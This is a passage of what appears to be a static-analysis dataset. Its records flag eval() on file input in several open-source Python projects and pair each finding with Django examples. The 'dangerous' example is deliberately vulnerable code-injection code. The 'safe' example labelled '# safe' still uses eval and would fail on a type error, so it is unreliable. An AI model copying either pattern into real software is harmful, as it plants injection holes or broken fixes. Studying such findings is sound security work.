request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 69, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "search"}}, {"lineNo": 69, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "group"}}, {"lineNo": 69, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "0386d629b723a14e7711bfafd382034ec1c23b651eb3725821d3ea8f92f08d62", "license": {"spdx": ["MIT"], "repo": "bizurkur/drifter", "path": "drifter/commands/__init__.py", "repo_head_hexsha": "a3787b773fb3525242daebfa7b7e4d90b9af7b97", "stack_hexsha": "43f233759be10c0eba5421ac90f018ec88175671", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 208, "entireCode": "\"\"\"Shared command functions.\"\"\"\nfrom __future__ import absolute_import, division, print_function\n\nimport difflib\nimport logging\nimport os\nimport sys\nfrom functools import update_wrapper\n\nimport click\n\nfrom pkg_resources import iter_entry_points\n\nfrom drifter.providers import get_providers\n\n\ndef validate_name(ctx, name):\n \"\"\"Validate the name isn't really an option.\n\n Different providers can have different options but the base command\n sometimes parses the name wrong.\n \"\"\"\n if name and name[0] == '-':\n ctx.args = [name] + ctx.args\n\n return None\n\n return name\n\n\ndef no_machine_warning():\n \"\"\"Warn that no machines exist and die.\"\"\"\n logging.warning(\n click.style(\n 'No machines available. Run `drifter up` to create one.',\n bold=True,\n fg='yellow',\n ),\n )\n sys.exit(1)\n\n\ndef list_machines(config, provider=None):\n \"\"\"List available machines and die if none found.\"\"\"\n machines = config.list_machines(provider)\n if machines:\n return machines\n\n no_machine_warning()\n\n\ndef name_argument(func):\n \"\"\"Add a machine name argument.\"\"\"\n def _callback(ctx, unused_param, value):\n if not value:\n return ctx.obj['config'].get_selected()\n return value\n\n return click.argument('name', metavar='NAME', default='', callback=_callback)(func)\n\n\ndef verbosity_options(func):\n \"\"\"Add verbosity and quiet options.\"\"\"\n func = quiet_option(func)\n func = verbosity_option(func)\n return func\n\n\ndef verbosity_option(func):\n \"\"\"Add a verbosity option.\"\"\"\n def _callback(ctx, unused_param, value):\n _set_verbosity(ctx, value)\n return value\n\n return click.option('-v', '--verbose', count=True,\n expose_value=False, help='Increases verbosity.',\n callback=_callback)(func)\n\n\ndef quiet_option(func):\n \"\"\"Add a quiet option.\"\"\"\n def _callback(ctx, unused_param, value):\n _set_verbosity(ctx, -value)\n return value\n\n return click.option('-q', '--quiet', count=True,\n expose_value=False, help='Decreases verbosity.',\n callback=_callback)(func)\n\n\ndef _set_verbosity(ctx, value):\n ctx.ensure_object(dict)\n ctx.obj['verbosity'] += value\n level = 20 - (ctx.obj['verbosity'] * 10)\n ctx.obj['log_level'] = level\n logging.getLogger().setLevel(level)\n\n\ndef force_option(func):\n \"\"\"Add a force option.\"\"\"\n return click.option('-f', '--force', help='Do not prompt for confirmation.', is_flag=True)(func)\n\n\ndef provision_option(func):\n \"\"\"Add a provision option.\"\"\"\n return click.option('--provision/--no-provision',\n help='Whether or not to provision the machine.',\n is_flag=True, default=None)(func)\n\n\ndef provision_with_option(func):\n \"\"\"Add a provision-with option.\"\"\"\n return click.option('--provision-with', metavar='PROVISIONER',\n help='Specific provisioner to run on the machine.',\n default=None)(func)\n\n\ndef provider_option(func):\n \"\"\"Add a provider option.\"\"\"\n return click.option('--provider', metavar='PROVIDER', help='Which provider to use.',\n type=click.Choice(get_providers().keys()),\n default=os.environ.get('DRIFTER_PROVIDER'))(func)\n\n\ndef command_option(func):\n \"\"\"Add a command option.\"\"\"\n return click.option('-c', '--command', metavar='COMMAND',\n help='Command to run remotely after operation is complete.')(func)\n\n\ndef run_once_option(func):\n \"\"\"Add a run once option.\"\"\"\n return click.option('--run-once', help='Run command only once.', is_flag=True)(func)\n\n\ndef burst_limit_option(func):\n \"\"\"Add a burst limit option.\"\"\"\n return click.option('--burst-limit', help='Number of simultaneous file changes to allow.',\n default=0, type=click.INT)(func)\n\n\ndef confirm_destroy(name, abort=True):\n \"\"\"Confirm the user wants to destroy the machine.\"\"\"\n return click.confirm('Are you sure you want to destroy the \"{0}\" machine?'.format(name), abort=abort)\n\n\ndef pass_config(func):\n \"\"\"Pass the config object to the command.\"\"\"\n @click.pass_context\n def new_func(ctx, *args, **kwargs):\n \"\"\"Invoke the function, adding the config argument.\"\"\"\n return ctx.invoke(func, ctx.obj['config'], *args, **kwargs)\n\n return update_wrapper(new_func, func)\n\n\ndef get_commands():\n \"\"\"Get available commands.\"\"\"\n commands = []\n for filename in os.listdir(os.path.dirname(__file__)):\n if filename.endswith('.py') and not filename.startswith('__'):\n commands.append(filename[:-3].replace('_', '-'))\n\n commands.sort()\n\n return commands\n\n\ndef get_plugins():\n \"\"\"Get available plugins.\"\"\"\n plugins = {}\n for entry_point in iter_entry_points('drifter.plugins'):\n plugins[entry_point.name] = entry_point\n\n return plugins\n\n\nclass CommandLoader(click.MultiCommand):\n \"\"\"Load and display available commands.\"\"\"\n\n def list_commands(self, ctx):\n \"\"\"Display available commands.\"\"\"\n return sorted(get_commands() + get_providers().keys() + get_plugins().keys())\n\n def get_command(self, ctx, cmd_name):\n \"\"\"Get a command to execute.\"\"\"\n cmd = cmd_name.replace('-', '_')\n\n command = self._get_command(cmd)\n if not command:\n command = self._get_provider(cmd, cmd_name)\n if not command:\n command = self._get_plugin(cmd, cmd_name)\n\n return command\n\n def _get_command(self, cmd):\n namespace = {}\n\n folder = os.path.dirname(__file__)\n filename = os.path.join(folder, cmd + '.py')\n if not os.path.exists(filename):\n return None\n\n with open(filename) as handle:\n code = compile(handle.read(), filename, 'exec')\n # pylint: disable=eval-used\n eval(code, namespace, namespace)\n\n if cmd in namespace:\n return namespace[cmd]\n\n cmd = cmd + '_command'\n if cmd in namespace:\n return namespace[cmd]\n\n return None\n\n def _get_provider(self, cmd, cmd_name):\n providers = get_providers()\n if cmd in providers:\n return providers[cmd].load()\n\n if cmd_name in providers:\n return providers[cmd_name].load()\n\n return None\n\n def _get_plugin(self, cmd, cmd_name):\n plugins = get_plugins()\n if cmd in plugins:\n return plugins[cmd].load()\n\n if cmd_name in plugins:\n return plugins[cmd_name].load()\n\n return None\n\n # Based on https://github.com/click-contrib/click-didyoumean\n def resolve_command(self, ctx, args):\n \"\"\"Resolve a command.\n\n Suggest possible command misspellings.\n \"\"\"\n try:\n return super(CommandLoader, self).resolve_command(ctx, args)\n except click.exceptions.UsageError as error:\n error_msg = str(error)\n original_cmd_name = click.utils.make_str(args[0])\n matches = difflib.get_close_matches(original_cmd_name,\n self.list_commands(ctx), 5, 0.6)\n\n if len(matches) == 1:\n error_msg += '\\n\\nDid you mean \"{0}\"?\\n'.format(matches[0])\n elif matches:\n error_msg += '\\n\\nDid you mean one of these?\\n {0}'.format('\\n '.join(matches))\n\n raise click.exceptions.UsageError(error_msg, error.ctx)\n\n def format_commands(self, ctx, formatter):\n \"\"\"Format the commands into different output groups.\"\"\"\n commands = []\n for subcommand in sorted(get_commands() + get_plugins().keys()):\n cmd = self.get_command(ctx, subcommand)\n if cmd is None:\n continue\n if cmd.hidden:\n continue\n\n commands.append((subcommand, cmd))\n\n self._format_commands(formatter, 'Commands', commands)\n\n providers = []\n for subcommand in get_providers():\n cmd = self.get_command(ctx, subcommand)\n if cmd is None:\n continue\n if cmd.hidden:\n continue\n\n providers.append((subcommand, cmd))\n\n self._format_commands(formatter, 'Providers', providers)\n\n def _format_commands(self, formatter, section, commands):\n if not commands:\n return\n\n limit = formatter.width - 6 - max(len(cmd[0]) for cmd in commands)\n\n rows = []\n for subcommand, cmd in commands:\n help_text = cmd.get_short_help_str(limit)\n rows.append((subcommand, help_text))\n\n if rows:\n with formatter.section(section):\n formatter.write_dl(rows)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 205, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 206, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 206, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "compile"}}, {"lineNo": 206, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 208, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "074d4cde132ef58b837439b00cf7a6d7a9932f704bb48a6c1bdc6835222cbe21", "license": {"spdx": ["MIT"], "repo": "SaintlyVi/dlr_sarec_archetypes", "path": "delarchetypes/command_line.py", "repo_head_hexsha": "7a411885332ca8ce5796f5bc6185658fb460a0aa", "stack_hexsha": "91f88346fe891c548fd41752e6f54c14569d7c57", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 38, "entireCode": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Monday 3 December 2018\n\n@author: \n\"\"\"\n\nimport argparse\nimport os\nimport pandas as pd\nimport time\nimport sys\n\nfrom delprocess.support import writeLog\nfrom delprocess.loadprofiles import genX\nfrom .cluster.cluster import som, kmeans\nfrom .cluster.results import getLabels, realCentroids \nfrom .cluster.qualeval import consumptionError, peakCoincidence, saveCorr\nfrom .classify.features import genFProfiles, genArffFile\n\nfrom .support import experiment_dir \n\ndef clustersGen():\n\t# Set up argument parser to run from terminal\n\tparser = argparse.ArgumentParser(description='Cluster DLR timeseries data.')\n\tparser.add_argument('params', type=str, help='Parameter file with clustering specifications')\n\tparser.add_argument('-top', type=int, help='Save labels for top n results')\n\tparser.add_argument('-skip', type=int, help='Skip runs from top in parameter file')\n\targs = parser.parse_args()\n\n\tparam_dir = os.path.join(experiment_dir, 'parameters')\n\tparam_path = os.path.join(param_dir, args.params + '.txt')\n\theader = open(param_path,'r')\n\tparam = list()\n\tfor line in header:\n\t\tif line.strip() != '': # ignore blank lines\n\t\t param.append(eval(line))\n\n\tif args.skip is None:\n\t\tskip_experiments = 0\n\telse:\n\t\tskip_experiments = args.skip\n\n\tfor i in range(skip_experiments+1, len(param)): #skip first line with header info\n\t\t# Extract all parameter values\n\t\talgorithm = param[i][0]\n\t\tstart = param[i][1]\n\t\tend = param[i][2]\n\t\tdrop = param[i][3]\n\t\tpreprocessing = param[i][4]\n\t\tbin_X = param[i][5]\n\t\trange_n_dim = param[i][6]\n\t\ttransform = param[i][7]\n\t\trange_n_clusters = param[i][8]\n\t\t\n\t\tprint(param[i])\n\t\t\n\t\ttic = time.time()\n\t\t\n\t\tX = genX([start, end], drop_0=drop) # TODO This line might cause trouble reading X... change drop_0 dtype from boolean if that is the case\n\n\t\tif algorithm == 'som':\n\t\t stats, centroids, cluster_lbls = som(X, range_n_dim, args.top, preprocessing, bin_X, transform, args.params,\n\t\t n_clusters=range_n_clusters) \n\t\tif algorithm == 'kmeans':\n\t\t stats, centroids, cluster_lbls = kmeans(X, range_n_clusters, args.top, preprocessing, bin_X, args.params)\n\t# if args.top:\n\t# saveLabels(X, cluster_lbls, stats, args.top)\n\t\t \n\t\ttoc = time.time()\n\t\t\n\t\tlog_line = param[i]\n\t\tlogs = pd.DataFrame([[args.params, (toc-tic)/60] + list(log_line)], columns = [\n 'experiment','runtime','algorithm', 'start', 'end', 'drop_0', \n 'preprocessing', 'bin_X', 'range_n_dim', 'transform','range_n_clusters'])\n\t\twriteLog(logs, os.path.join(log_dir,'log_runClusters'))\n\n\treturn print('\\n>>>Cluster generation complete<<<')\n\ndef clustersEval():\n\t# Set up argument parser to run from terminal\n\tparser = argparse.ArgumentParser(description='Evaluate DLR timeseries clusters.')\n\tparser.add_argument('experiment', type=str, help='Experiment_algorithm_preprocessing')\n\tparser.add_argument('n_best', type=int, help='n_best run of experiment')\n\targs = parser.parse_args()\n\n\n\txl = getLabels(args.experiment, args.n_best)\n\tcentroids = realCentroids(args.experiment, xl, args.n_best)\n\tconsumptionError(xl, centroids, compare='total')\n\tconsumptionError(xl, centroids, compare='peak')\n\tpeak_eval = peakCoincidence(xl, centroids)\n\tsaveCorr(xl, args.experiment)\n\t\n\treturn print(\"\\n>>>Cluster evaluation complete.<<<\")\n\n\ndef prepClassify():\n \n # Set up argument parser to run from terminal\n parser = argparse.ArgumentParser(description='Evaluate DLR timeseries clusters.')\n parser.add_argument('experiment', type=str, help='Experiment_algorithm_preprocessing')\n parser.add_argument('socios', type=str, help='Specification of socio_demographic features')\n parser.add_argument('--keep_years', action='store_true', help='Specify if k_count should be by year.')\n parser.add_argument('--filter_features', default=None, help='Filter features by values. Specify dict as string.')\n parser.add_argument('--skip_cat', default=None, nargs='*', help='Specify numeric features')\n parser.add_argument('--weighted', action='store_false', help='Specify if features should be weighted')\n parser.add_argument('--n_best', type=int, default=1, help='n_best run of experiment')\n args = parser.parse_args()\n \n F = genFProfiles(args.experiment, args.socios, args.n_best, args.keep_years, savefig=False)\n genArffFile(args.experiment, args.socios, args.filter_features, args.skip_cat, args.weighted, args.n_best)\n \n return print(\"\\n>>>Feature input prepared for classification.<<<\")", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 38, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "5caf84f80ab68df35ffa7009e088ee9fbb7f21e7838f42f9cc3059b764c51ccf", "license": {"spdx": ["BSD-3-Clause"], "repo": "kawadia/estrangement", "path": "Estrangement/estrangement.py", "repo_head_hexsha": "612542bf4af64f248766ad28c18028ff4b2307b5", "stack_hexsha": "a869c38ac3062192b11906cccb0999dd6e075ede", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 89, "entireCode": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\" \nThis module implements the Estrangement Confinement Algorithm (ECA) and various functions necessary \nto read the input snapshots, process information and return the results and/or print them to file.\n\"\"\"\n\n__all__ = ['make_Zgraph','read_general','maxQ','repeated_runs','ECA']\n\n__author__ = \"\"\"\\n\"\"\".join([' ()',\n ' <>',\n ' <>'])\n\n# Copyright (C) 2012 by \n# Raytheon BBN Technologies and Rensselaer Polytechnic Institute\n# All rights reserved. \n# BSD license. \n\nimport networkx as nx\nimport math\nimport os\nfrom scipy import optimize\nimport pprint\nimport lpa\nimport utils\nimport agglomerate\nimport logging\nimport multiprocessing\n\n\nitrepeats = 0\n\n\ndef read_general(datadir,tolerance,minrepeats):\n\n \"\"\" Function to read datasets from files in *datadir*.\n \n Each file represents a graph for a particular timestamp. \n The name of the files is expected to be .ncol,\n and each line in the file represents one edge in the graph e.g.\n line:' 1 2 5 ' indicates there is an edge between nodes\n '1' and '2' with weight '5'\n\n Parameters\n ----------\n datadir: string\n path to the directory containing the dataset.\n tolerance: float,optional\n For a label to be considered a dominant label, it must be within this much of the maximum\n value found for the quality function. The smaller it is, the fewer dominant labels there \n will be. \n minrepeats: integer\n The number of variations to try before returning the best partition. \n\n Returns \n ------- \n t: list\n an array of timestamps, each representing a snapshot of the communities.\n g1: networkx.Graph\n the last graph to be read from file.\n initial_label_dictionary: dictionary { node: community}\n A dictionary mapping nodes to community labels if it is the first snapshot, otherwise *None*.\n \"\"\"\n\n raw_file_list = os.listdir(datadir)\n timestamps = sorted([int(f.rstrip(\".ncol\")) for f in raw_file_list if f.endswith(\".ncol\")])\n\n initial_label_dict_filename = os.path.join(datadir, 'initial_label_dict.txt')\n\n beginning = True\n for t in timestamps:\n f = str(t) + \".ncol\"\n fpath = os.path.join(datadir,f)\n\n # if a file is empty, move on to the next timestamp\n if os.path.getsize(fpath) == 0:\n continue\n\n g1 = nx.read_edgelist(fpath, nodetype=int, data=(('weight',float),))\n\n if beginning is True:\n # when called for the first time just return initial_label_dict\n if not os.path.exists(initial_label_dict_filename):\n initial_label_dict = maxQ(g1,tolerance=tolerance,minrepeats=minrepeats)\n with open(initial_label_dict_filename, 'w') as lf:\n lf.write(repr(initial_label_dict))\n\n with open(initial_label_dict_filename, 'r') as lf:\n initial_label_dict = eval(lf.read())\n yield (t, g1, initial_label_dict)\n beginning = False\n else:\n yield (t, g1, None)\n\n\ndef maxQ(g1,tolerance=0.00001,minrepeats=10):\n\n \"\"\" Function which returns the partitioning of the input graph, into communities, \n which maximizes the value of the quality function Q. \n\n In this case, the quality function is modularity. See, [Blondel08]_ for more details. \n Note that estrangement is not taken into cosideration in this calculation.\n This is only used for computing a partition for the intial snapshot.\n\n Parameters\n ----------\n g1: networkx.Graph\n The input graph.\n minrepeats: integer, optional\n The number of variations to try before returning the best partition. \n tolerance: float, optional\n For a label to be considered a dominant label, it must be within this much of the maximum\n value found for the quality function. The smaller it is, the fewer dominant labels there \n will be. \n\n\n Returns\n -------\n dictPartition: dictionary {node:community}\n The partitioning which results in the best value of the quality function: Q (modularity).\n\n Examples\n --------\n >>> g0 = nx.Graph\n >>> g0.add_edges_from([(1,2,{'weight':2}),(1,3,{'weight':1}),(2,4,{'weight':1})])\n >>> print(maxQ(g0,minrepeats=10))\n \"\"\"\n\n dictPartition = {}\n dictQ = {}\n # To do pure Q maximization, lambda should be 0 and the ZGraph should be empty\n lambduh = 0.0\n Zgraph = nx.Graph()\n # do multiple runs and pick the best\n for r in range(10*minrepeats):\n # best_partition calls agglomerative lpa\n dictPartition[r] = agglomerate.best_partition(g1,1.0,tolerance,lambduh, Zgraph) # I removed an opt here\n dictQ[r] = agglomerate.modularity(dictPartition[r], g1)\n logging.info(\"dictQ = %s\", str(dictQ))\n bestr = max(dictQ, key=dictQ.get)\n return dictPartition[bestr]\n\n\ndef make_Zgraph(g0, g1, g0_label_dict):\n\n \"\"\"Constructs and returns the Zgraph, as defined in Eq 3 of the paper.\n\n Parameters\n ----------\n g0, g1: networkx.Graph\n The previous and the current network snapshot, respectively\n g0_label_dict: dictionary {node:community}\n Cpmmunity labels for the nodes in g0 (the previous snapshot)\n\n Returns\n -------\n Z: graph\n The Zgraph\n\n Examples\n --------\n >>> g0 = nx.Graph()\n >>> g0.add_edges_from([(1,2,{'weight':2}),(1,3,{'weight':1}),(2,4,{'weight':1})])\n >>> g1 = nx.Graph()\n >>> g1.add_edges_from([(1,2,{'weight':2}),(1,3,{'weight':1}),(3,4,{'weight':1})])\n >>> labels = {1:'b',2:'b',3:'b',4:'b',5:'b',6:'b'}\n >>> print(make_Zgraph(g0,g1,labels)\n \"\"\"\n\n Z = nx.Graph()\n Z.add_weighted_edges_from(\n (e[0], e[1], math.sqrt(float(g0[e[0]][e[1]]['weight'] * g1[e[0]][e[1]]['weight'])))\n for e in g1.edges_iter()\n if g0.has_edge(*e[:2]) and g0_label_dict[e[0]] == g0_label_dict[e[1]]\n ) \n\n return Z \n\n\ndef repeated_runs(g1, delta, tolerance, lambduh, Zgraph, repeats):\n\n \"\"\" Function to make repeated calls to the Label Propagation Algorithm (LPA) and\n store the values of Q, E and F, as well as the corresponding partitioning\n for later use. F is the Lagrangian, referred to in the paper as L.\n \n Parameters\n ----------\n g1: networkx graph\n The input graph\n delta: float\n The temporal divergence. Smaller values imply greater emphasis on temporal\n contiguity whereas larger values place greater emphasis on finding better\n instanteous communities.\n tolerance: float\n For a label to be considered a dominant label, it must be within this much of the maximum\n value found for the quality function. The smaller the value of tolerance, the fewer dominant \n labels there will be.\n Zgraph: networkx graph\n Graph where each edges join nodes belonging to the same community over\n previous snapshots\n repeats: integer\n The number of calls made to best partition to best_parition.\n\n Returns\n -------\n dictPartition: List of dictionaries representing community labeling\n dictQ: List of values of Q corresponding to the above labeling\n dictE: List of values of E corresponding to the above labeling\n dictF: List of values of F corresponding to the above labeling\n \n Examples\n --------\n >>> g0 = nx.Graph()\n >>> g0.add_edges_from([(1,2,{'weight':1}),(2,3,{'weight':1}),(1,3,{'weight':1}),(3,4,{'weight':1}),(4,5,{'weight':1}),(4,6,{'weight':1}),(5,7,{'weight':1}),(6,7,{'weight':1}),(8,9,{'weight':1}),(8,10,{'weight':1}),(9,10,{'weight':1})])\n >>> dictPartition,dictQ,DictE,DictF = estrangement.repeated_runs(g0, delta=0.05, tolerance=0.01, lambduh=1,g0,repeats = 3)\n \"\"\"\n\n dictPartition = {} # key = run number, val = label_dict\n dictQ = {} # key = run number, val = Q for that run\n dictE = {} # key = run number, val = E for that run\n dictF = {} # key = run number, val = F for that run\n q = multiprocessing.Queue() \n # the for loop below does repeat number of runs to find the best F using\n # agglomerate lpa. Node visitation order is randomized in the LPA thus\n # giving potentially different results each run. \n for r in range(repeats):\n# p = multiprocessing.Process(target=agglomerate.best_partition,args=(g1, delta, tolerance, lambduh, Zgraph,None,q))\n# p.start()\n agglomerate.best_partition(g1, delta, tolerance, lambduh, Zgraph,None,q)\n\n\n for r in range(repeats):\n r_partition = q.get()\n dictPartition[r] = r_partition\n dictQ[r] = agglomerate.modularity(r_partition, g1)\n dictE[r] = utils.Estrangement(g1, r_partition, Zgraph)\n dictF[r] = dictQ[r] - lambduh*dictE[r] + lambduh*delta\n \n return (dictPartition, dictQ, dictE, dictF)\n\ndef ECA(dataset_dir='./data', results_filename= \"matched_labels.log\", tolerance=0.00001,convergence_tolerance=0.01,delta=0.05,minrepeats=10,increpeats=10,maxfun=500,write_stats=False):\n\n \"\"\" The Estrangement Reduction Algorithm, as decribed in: [KS12]_. \n This function detects temporal communities and returns the results. \n\n Parameters\n ----------\n dataset_dir: string\n Path to the relevant dataset files\n results_filename: string\n The resulting community partition is written to this file. \n It is a dictionary of the form: {time : {node : label}}\n tolerance: float, optional\n For a label to be considered a dominant label, it must be within this much of the maximum\n value found for the quality function. The smaller it is, the fewer dominant labels there will be. \n convergence_tolerance: float,optional\n The convergence tolerance used in optimizing the value of lambda.\n delta: float\n The temporal divergence. Smaller values imply greater emphasis on temporal\n contiguity whereas larger values place greater emphasis on finding better\n instanteous communities.\n minrepeats: integer,optional\n The number of times to call LPA. Each call increases the likilhood of finding the optimal\n partition, however, such a partition may be found with few calls depending on the graph. \n increpeats: integer,optional\n The size of a step in the LPA.\n maxfun: integer, optional\n The maximum number of function calls made to optimize lambda.\n write_stats, optional\n If 'True', the stats are written to files named .log\n These logs are not needed to plot temporal communities but are needed to plot other stats. \n\n Returns\n -------\n matched_labels : dictionary {time: {node:label}}\n The labelling of each node for each snapshot\n \n References\n ----------\n .. [KS12] and , ``Sequential detection of temporal communities by estrangement confinement ,'' in Nature Scientific Reports, Nov 2012, http://www.nature.com/srep/2012/121109/srep00794/full/srep00794.html\n \n Examples\n --------\n >>> ECA(dataset_dir='tests/sample_data',delta=0.001)\n \"\"\"\n\n # set up directory structure for this delta\n dir_name = 'task_delta_' + str(delta)\n if(not os.path.exists(dir_name)):\n os.mkdir(dir_name)\n os.chdir(dir_name)\n\n # The results from each set of parameters are written to a unique folder,\n # with name reflecting the parameters chosen. The relevant parameters are\n # written to a log for later reference.\n with open(\"options.log\", 'w') as optf:\n optf.write(\"{'delta':\" + str(delta) + \"}\")\n\n matched_labels = {}\n\n snapstats = SnapshotStatistics()\n\n # keeping track of max number of nodes and num snapshots for help in plotting\n nodename_set = set()\n snapshots_list = []\n\n beginning = True\n snapshot_number = 0\n for t, g1, initial_label_dict in read_general(dataset_dir, \n tolerance=tolerance,minrepeats=minrepeats):\n \n snapshots_list.append(t)\n nodename_set.update(g1.nodes())\n\n if beginning is True:\n g0 = g1\n prev_label_dict = {}\n prev_matched_label_dict = {}\n\n label_dict = initial_label_dict \n if len(label_dict) != g1.number_of_nodes():\n raise nx.NetworkXError(\"Initial label_dict does not have the same number of nodes as g1\")\n\n snapstats.Q[t] = agglomerate.modularity(label_dict, g1)\n Zgraph = nx.Graph() \n beginning = False\n else:\n Zgraph = make_Zgraph(g0, g1, prev_label_dict)\n\n # Record Q* for comparison\n dictlabel_dict0, dictQ0, dictE0, dictF0 = repeated_runs(g1, delta, tolerance, 0.0, Zgraph, minrepeats)\n snapstats.Qstar[t] = max(dictQ0.values())\n\n # store some stats for optimization over lambda for a given snapshot this is \n # kept for analysis purposes, not strictly required for solving the problem\n label_dict_lam = {} # key = lambduh, val = dictPartition where key = run number val = label_dict\n Qlam = {} # key = lambduh, val = dictQ where key = run number val = Q\n Elam = {} # key = lambduh, val = dictE where key = run number val = E\n Flam = {} # key = lambduh, val = dictF where key = run number val = F\n\n def g_of_lambda(lambduh):\n \"\"\" Used by scipy.opimize.fminbound to optimize for lambda \"\"\"\n\n global itrepeats\n logging.info(\"itrepeats: %d\", itrepeats)\n dictPartition, dictQ, dictE, dictF = repeated_runs(g1, delta, tolerance, lambduh, Zgraph, itrepeats)\n\n label_dict_lam[lambduh] = dictPartition\n Qlam[lambduh] = dictQ\n Elam[lambduh] = dictE\n Flam[lambduh] = dictF\n itrepeats += increpeats\n \n return max(dictF.values())\n \n global itrepeats\n itrepeats = minrepeats\n \n lambdaopt, fval, ierr, numfunc = optimize.fminbound(\n g_of_lambda, 0.0, 10.0, args=(), xtol=convergence_tolerance,\n maxfun=maxfun, full_output=True, disp=0) \n \n if ierr is 0:\n logging.info(\"[%d] best lambduh = %f, found in %d function calls\", t, lambdaopt, numfunc)\n else:\n logging.error(\"[%d] No convergence for fminbound\", t)\n \n # filter Fs at lambdaopt which are feasible\n dictFeasibleFs = dict([((lambdaopt, r), F) for (r, F) in Flam[lambdaopt].items() if\n Flam[lambdaopt][r] > Qlam[lambdaopt][r]])\n \n logging.info(\"[%d], lambdaopt=%f, feasibleFs=%s\", t, lambdaopt,\n str(dictFeasibleFs))\n\n listLambduhs = sorted(Flam.keys())\n logging.info(\"listLambduhs: %s,\", str(listLambduhs))\n current_index = listLambduhs.index(lambdaopt)\n\n while len(dictFeasibleFs) == 0 and current_index < len(listLambduhs) - 1:\n logging.error(\"No feasible Fs found at current_lambduh=%f, increasing search range of lambduhs\",\n listLambduhs[current_index])\n\n # get next highest lambda\n next_highest_lambduh = listLambduhs[current_index + 1]\n if(current_index + 1 > 